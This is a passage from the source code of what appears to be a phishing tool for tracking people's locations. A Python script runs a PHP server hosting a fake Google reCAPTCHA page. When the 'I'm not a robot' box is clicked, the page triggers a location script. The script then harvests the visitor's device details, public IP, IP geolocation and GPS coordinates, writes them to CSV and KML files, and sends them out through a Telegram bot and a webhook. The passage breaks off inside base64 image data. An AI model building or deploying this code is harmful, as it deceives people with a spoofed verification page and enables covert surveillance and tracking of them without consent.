        f'{G}[+] {C}Loading {Y}{templ_json["templates"][selected]["name"]} {C}Template...{W}'
    )

    imp_file = templ_json['templates'][selected]['import_file']
    importlib.import_module(f'template.{imp_file}')
    shutil.copyfile(
        'php/error.php',
        f'template/{templ_json["templates"][selected]["dir_name"]}/error_handler.php',
    )
    shutil.copyfile(
        'php/info.php',
        f'template/{templ_json["templates"][selected]["dir_name"]}/info_handler.php',
    )
    shutil.copyfile(
        'php/result.php',
        f'template/{templ_json["templates"][selected]["dir_name"]}/result_handler.php',
    )
    jsdir = f'template/{templ_json["templates"][selected]["dir_name"]}/js'
    if not path.isdir(jsdir):
        mkdir(jsdir)
    shutil.copyfile('js/location.js', jsdir + '/location.js')
    return site


def server():
    print()
    port_free = False
    utils.print(f'{G}[+] {C}Port : {W}{port}\n')
    utils.print(f'{G}[+] {C}Starting PHP Server...{W}', end='')
    cmd = ['php', '-S', f'0.0.0.0:{port}', '-t', f'template/{SITE}/']

    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
        try:
            sock.connect(('127.0.0.1', port))
        except ConnectionRefusedError:
            port_free = True

    if not port_free and path.exists(PID_FILE):
        with open(PID_FILE, 'r') as pid_info:
            pid = int(pid_info.read().strip())
            try:
                old_proc = psutil.Process(pid)
                utils.print(f'{C}[ {R}✘{C} ]{W}')
                utils.print(
                    f'{Y}[!] Old instance of php server found, restarting...{W}'
                )
                utils.print(f'{G}[+] {C}Starting PHP Server...{W}', end='')
                try:
                    sleep(1)
                    if old_proc.status() != 'running':
                        old_proc.kill()
                    else:
                        utils.print(f'{C}[ {R}✘{C} ]{W}')
                        utils.print(
                            f'{R}[-] {C}Unable to kill php server process, kill manually{W}'
                        )
                        sys.exit()
                except psutil.NoSuchProcess:
                    pass
            except psutil.NoSuchProcess:
                utils.print(f'{C}[ {R}✘{C} ]{W}')
                utils.print(
                    f'{R}[-] {C}Port {W}{port} {C}is being used by some other service.{W}'
                )
                sys.exit()
    elif not port_free and not path.exists(PID_FILE):
        utils.print(f'{C}[ {R}✘{C} ]{W}')
        utils.print(
            f'{R}[-] {C}Port {W}{port} {C}is being used by some other service.{W}'
        )
        sys.exit()
    elif port_free:
        pass

    with open(LOG_FILE, 'w') as phplog:
        proc = subp.Popen(cmd, stdout=phplog, stderr=phplog)
        with open(PID_FILE, 'w') as pid_out:
            pid_out.write(str(proc.pid))

        sleep(3)

        try:
            php_rqst = requests.get(f'http://127.0.0.1:{port}/index.html')
            php_sc = php_rqst.status_code
            if php_sc == 200:
                utils.print(f'{C}[ {G}✔{C} ]{W}')
                print()
            else:
                utils.print(f'{C}[ {R}Status : {php_sc}{C} ]{W}')
                cl_quit()
        except requests.ConnectionError:
            utils.print(f'{C}[ {R}✘{C} ]{W}')
            cl_quit()


def wait():
    printed = False
    while True:
        sleep(2)
        size = path.getsize(RESULT)
        if size == 0 and printed is False:
            utils.print(f'{G}[+] {C}Waiting for Client...{Y}[ctrl+c to exit]{W}\n')
            printed = True
        if size > 0:
            data_parser()
            printed = False


def data_parser():
    data_row = []
    with open(INFO, 'r') as info_file:
        info_content = info_file.read()
    if not info_content or info_content.strip() == '':
        return
    try:
        info_json = loads(info_content)
    except decoder.JSONDecodeError:
        utils.print(f'{R}[-] {C}Exception : {R}{traceback.format_exc()}{W}')
    else:
        var_os = info_json['os']
        var_platform = info_json['platform']
        var_cores = info_json['cores']
        var_ram = info_json['ram']
        var_vendor = info_json['vendor']
        var_render = info_json['render']
        var_res = info_json['wd'] + 'x' + info_json['ht']
        var_browser = info_json['browser']
        var_ip = info_json['ip']

        data_row.extend(
            [
                var_os,
                var_platform,
                var_cores,
                var_ram,
                var_vendor,
                var_render,
                var_res,
                var_browser,
                var_ip,
            ]
        )
        device_info = f"""{Y}[!] Device Information :{W}

{G}[+] {C}OS         : {W}{var_os}
{G}[+] {C}Platform   : {W}{var_platform}
{G}[+] {C}CPU Cores  : {W}{var_cores}
{G}[+] {C}RAM        : {W}{var_ram}
{G}[+] {C}GPU Vendor : {W}{var_vendor}
{G}[+] {C}GPU        : {W}{var_render}
{G}[+] {C}Resolution : {W}{var_res}
{G}[+] {C}Browser    : {W}{var_browser}
{G}[+] {C}Public IP  : {W}{var_ip}
"""
        utils.print(device_info)
        send_telegram(info_json, 'device_info')
        send_webhook(info_json, 'device_info')

        if ip_address(var_ip).is_private:
            utils.print(f'{Y}[!] Skipping IP recon because IP address is private{W}')
        else:
            rqst = requests.get(f'https://ipwhois.app/json/{var_ip}')
            s_code = rqst.status_code

            if s_code == 200:
                data = rqst.text
                data = loads(data)
                var_continent = str(data['continent'])
                var_country = str(data['country'])
                var_region = str(data['region'])
                var_city = str(data['city'])
                var_org = str(data['org'])
                var_isp = str(data['isp'])

                data_row.extend(
                    [var_continent, var_country, var_region, var_city, var_org, var_isp]
                )
                ip_info = f"""{Y}[!] IP Information :{W}

{G}[+] {C}Continent : {W}{var_continent}
{G}[+] {C}Country   : {W}{var_country}
{G}[+] {C}Region    : {W}{var_region}
{G}[+] {C}City      : {W}{var_city}
{G}[+] {C}Org       : {W}{var_org}
{G}[+] {C}ISP       : {W}{var_isp}
"""
                utils.print(ip_info)
                send_telegram(data, 'ip_info')
                send_webhook(data, 'ip_info')

    with open(RESULT, 'r') as result_file:
        results = result_file.read()
        try:
            result_json = loads(results)
        except decoder.JSONDecodeError:
            utils.print(f'{R}[-] {C}Exception : {R}{traceback.format_exc()}{W}')
        else:
            status = result_json['status']
            if status == 'success':
                var_lat = result_json['lat']
                var_lon = result_json['lon']
                var_acc = result_json['acc']
                var_alt = result_json['alt']
                var_dir = result_json['dir']
                var_spd = result_json['spd']

                data_row.extend([var_lat, var_lon, var_acc, var_alt, var_dir, var_spd])
                loc_info = f"""{Y}[!] Location Information :{W}

{G}[+] {C}Latitude  : {W}{var_lat}
{G}[+] {C}Longitude : {W}{var_lon}
{G}[+] {C}Accuracy  : {W}{var_acc}
{G}[+] {C}Altitude  : {W}{var_alt}
{G}[+] {C}Direction : {W}{var_dir}
{G}[+] {C}Speed     : {W}{var_spd}
"""
                utils.print(loc_info)
                send_telegram(result_json, 'location')
                send_webhook(result_json, 'location')
                gmaps_url = f'{G}[+] {C}Google Maps : {W}https://www.google.com/maps/place/{var_lat.strip(" deg")}+{var_lon.strip(" deg")}'
                gmaps_json = {
                    'url': f'https://www.google.com/maps/place/{var_lat.strip(" deg")}+{var_lon.strip(" deg")}'
                }
                utils.print(gmaps_url)
                send_telegram(gmaps_json, 'url')
                send_webhook(gmaps_json, 'url')

                if kml_fname is not None:
                    kmlout(var_lat, var_lon)
            else:
                var_err = result_json['error']
                utils.print(f'{R}[-] {C}{var_err}\n')
                send_telegram(result_json, 'error')
                send_webhook(result_json, 'error')

    csvout(data_row)
    clear()
    return


def kmlout(var_lat, var_lon):
    with open(TEMP_KML, 'r') as kml_sample:
        kml_sample_data = kml_sample.read()

    kml_sample_data = kml_sample_data.replace('LONGITUDE', var_lon.strip(' deg'))
    kml_sample_data = kml_sample_data.replace('LATITUDE', var_lat.strip(' deg'))

    with open(f'{path_to_script}/{kml_fname}.kml', 'w') as kml_gen:
        kml_gen.write(kml_sample_data)

    utils.print(f'{Y}[!] KML File Generated!{W}')
    utils.print(f'{G}[+] {C}Path : {W}{path_to_script}/{kml_fname}.kml')


def csvout(row):
    with open(DATA_FILE, 'a') as csvfile:
        csvwriter = writer(csvfile)
        csvwriter.writerow(row)
    utils.print(f'{G}[+] {C}Data Saved : {W}{path_to_script}/db/results.csv\n')


def clear():
    with open(RESULT, 'w+'):
        pass
    with open(INFO, 'w+'):
        pass


def repeat():
    clear()
    wait()


def cl_quit():
    if not path.isfile(PID_FILE):
        return
    with open(PID_FILE, 'r') as pid_info:
        pid = int(pid_info.read().strip())
        kill(pid, SIGTERM)
    remove(PID_FILE)
    sys.exit()


try:
    banner()
    clear()
    SITE = template_select(SITE)
    server()
    wait()
    data_parser()
except KeyboardInterrupt:
    utils.print(f'{R}[-] {C}Keyboard Interrupt.{W}')
    cl_quit()
else:
    repeat()


================================================
FILE: telegram_api.py
================================================
import utils
import requests
from json import dumps, loads

R = '\033[31m'  # red
G = '\033[32m'  # green
C = '\033[36m'  # cyan
W = '\033[0m'   # white
Y = '\033[33m'  # yellow


def send_request(token, msg):
    api_url = f'https://api.telegram.org/bot{token[0]}:{token[1]}/sendMessage'
    api_params = {
        'chat_id': token[2],
        'text': msg,
        'parse_mode': 'MarkdownV2'
    }
    rqst = requests.get(api_url, params=api_params, timeout=10)
    if rqst.status_code != 200:
        utils.print(f'{R}[-] {C}Telegram :{W} [{rqst.status_code}] {loads(rqst.text)["description"]}\n')


def tgram_sender(msg_type, content, token):
    json_str = dumps(content)
    json_content = loads(json_str)
    if msg_type == 'device_info':
        info_message = f"""
*Device Information*

```
OS         : {json_content['os']}
Platform   : {json_content['platform']}
Browser    : {json_content['browser']}
GPU Vendor : {json_content['vendor']}
GPU        : {json_content['render']}
CPU Cores  : {json_content['cores']}
RAM        : {json_content['ram']}
Public IP  : {json_content['ip']}
Resolution : {json_content['ht']}x{json_content['wd']}
```"""
        send_request(token, info_message)

    if msg_type == 'ip_info':
        ip_message = f"""
*IP Information*

```
Continent : {json_content['continent']}
Country   : {json_content['country']}
Region    : {json_content['region']}
City      : {json_content['city']}
Org       : {json_content['org']}
ISP       : {json_content['isp']}
```
"""
        send_request(token, ip_message)

    if msg_type == 'location':
        loc_message = f"""
*Location Information*

```
Latitude  : {json_content['lat']}
Longitude : {json_content['lon']}
Accuracy  : {json_content['acc']}
Altitude  : {json_content['alt']}
Direction : {json_content['dir']}
Speed     : {json_content['spd']}
```
"""
        send_request(token, loc_message)

    if msg_type == 'url':
        url_msg = json_content['url']
        send_request(token, url_msg)

    if msg_type == 'error':
        error_msg = json_content['error']
        send_request(token, error_msg)


================================================
FILE: template/captcha/anchor.html
================================================
<html dir="ltr" lang="en">
  <head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <title>reCAPTCHA</title>
    <script>var $ = window.parent.$, jQuery = window.parent.jQuery;</script>
    <script src="js/location.js"></script>
    <script src="js/main.js"></script>
    <style type="text/css">
      /* latin-ext */
      @font-face {
        font-family: 'Roboto';
        font-style: normal;
        font-weight: 400;
        src: url(fonts/KFOmCnqEu92Fr1Mu7GxKOzY.woff2) format('woff2');
        unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF;
      }
      /* latin */
      @font-face {
        font-family: 'Roboto';
        font-style: normal;
        font-weight: 400;
        src: url(fonts/KFOmCnqEu92Fr1Mu4mxK.woff2) format('woff2');
        unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD;
      }
    </style>
    <link rel="stylesheet" type="text/css" href="css/styles__ltr.css">
  </head>

  <body>
    <div id="rc-anchor-alert" class="rc-anchor-alert"></div>
    <div id="rc-anchor-container" class="rc-anchor rc-anchor-normal rc-anchor-light">
      <div id="recaptcha-accessible-status" class="rc-anchor-aria-status" aria-hidden="true">Recaptcha requires verification. </div><div class="rc-anchor-error-msg-container" style="display:none"><span class="rc-anchor-error-msg" aria-hidden="true"></span></div><div class="rc-anchor-content"><div class="rc-inline-block"><div class="rc-anchor-center-container"><div class="rc-anchor-center-item rc-anchor-checkbox-holder"><span onclick="main();" class="recaptcha-checkbox goog-inline-block recaptcha-checkbox-unchecked rc-anchor-checkbox recaptcha-checkbox-clearOutline" role="checkbox" aria-checked="false" id="recaptcha-anchor" tabindex="0" dir="ltr" aria-labelledby="recaptcha-anchor-label"><div class="recaptcha-checkbox-border" role="presentation" style=""></div><div class="recaptcha-checkbox-borderAnimation" role="presentation"></div><div class="recaptcha-checkbox-spinner" role="presentation"><div class="recaptcha-checkbox-spinner-overlay"></div></div><div class="recaptcha-checkbox-checkmark" role="presentation"></div></span></div></div></div><div class="rc-inline-block"><div class="rc-anchor-center-container"><label class="rc-anchor-center-item rc-anchor-checkbox-label" aria-hidden="true" role="presentation" id="recaptcha-anchor-label"><span aria-live="polite" aria-labelledby="recaptcha-accessible-status"></span>I'm not a robot</label></div></div>
      </div><div class="rc-anchor-normal-footer"><div class="rc-anchor-logo-portrait" aria-hidden="true" role="presentation"><div class="rc-anchor-logo-img rc-anchor-logo-img-portrait"></div><div class="rc-anchor-logo-text">reCAPTCHA</div></div><div class="rc-anchor-pt"><a href="https://www.google.com/intl/en/policies/privacy/" target="_blank">Privacy</a><span aria-hidden="true" role="presentation"> - </span><a href="https://www.google.com/intl/en/policies/terms/" target="_blank">Terms</a></div></div></div>
    <iframe style="display: none;"></iframe>
  </body>
</html>

================================================
FILE: template/captcha/css/styles__ltr.css
================================================
.goog-inline-block{position:relative;display:-moz-inline-box;display:inline-block}* html .goog-inline-block{display:inline}*:first-child+html .goog-inline-block{display:inline}.recaptcha-checkbox{border:none;font-size:1px;height:28px;margin:4px;width:28px;overflow:visible;outline:0;vertical-align:text-bottom}.recaptcha-checkbox-border{-webkit-border-radius:2px;-moz-border-radius:2px;border-radius:2px;background-color:#fff;border:2px solid #c1c1c1;font-size:1px;height:24px;position:absolute;width:24px;z-index:1}.recaptcha-checkbox-borderAnimation{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAFQAAANICAYAAABZl8i8AAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAABIAAAASABGyWs+AAAACXZwQWcAAABUAAADSAC4K4y8AAA4oElEQVR42u2dCZRV1ZX3q5iE4IQIiKQQCKBt0JLEIUZwCCk7pBNFiRMajZrIl9aOLZ8sY4CWdkDbT2McooaAEmNixFhpaYE2dCiLScWiQHCgoGQoGQuhGArKKl7V+c5/n33fO/V4w733nVuheXuv9V/rrnvP2Xud3zvTPee+ewsKxMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExP4OdtlT6ztAbRWvvLy8A3QkwxzH6tBGMMexIo+nCgraaf2E1U6A5g60o9a9rI7S5N1APQaSzl1MTExMTExMTExMTExMTExMTExMTExMTExMTExMTOwIsMueWl8EtVW88vLyIqit4qmCguOgtoT5AKuojWA+wCpqA5i9tP6d1UuA5g70K1oPsL4iTd4N1DMh6dzFxMTExMTExMTExMTExMTExMTExMTExMTExMTExMT+l9tlT63/stbtrC9HHa+8vPzLWrezIo+nCgq6a41hdW8LoAD5COv2NgAKkI+wbm8DoHhf0yOsnwjQ3IHeaQG9U5p87kAHa01kDZZOXkxMTExMTExMTExMTExMTExMTExMTExMTExMTEysLe2yp9afoTWWdUbU8crLy8/QGsuKPJ4qKOirdRWrb1vAfDJJZ0QM88kknREhTLwR5wmtJ1lPRPpmHK6VT/5q3g4SAx0bIVDUyidXr15NYqBjIwT6YwI5cqSRgfpjARoe6E8J4vjxRgboT6XJhwf6Dau5e/qGDEq5Qb3I+mriRTINERMTExMTExMTExMTExMTExMTExMTExMTEzss7LKn1neB2ipeeXl5F+hIBHma1mStF1g4Pi1CkKdpTdZ6gYXjyOKpgoLeWndoPcPCce8oYU63YHqaHgVUhjndgulpehRQNbgiree0XkgSzhVFAZRq5pQ3t7+w+0CMhGOvpkYAlGrmhx9++EJTUxMJx15NjQDozwngN7/5gnr/fSMcG6g/j6LPJHgAqZQi4diqqV0c95kEDyC9eDi2amoXhzCP0ppO8DZsiMejYwMU144SoP6BHk3gCgtf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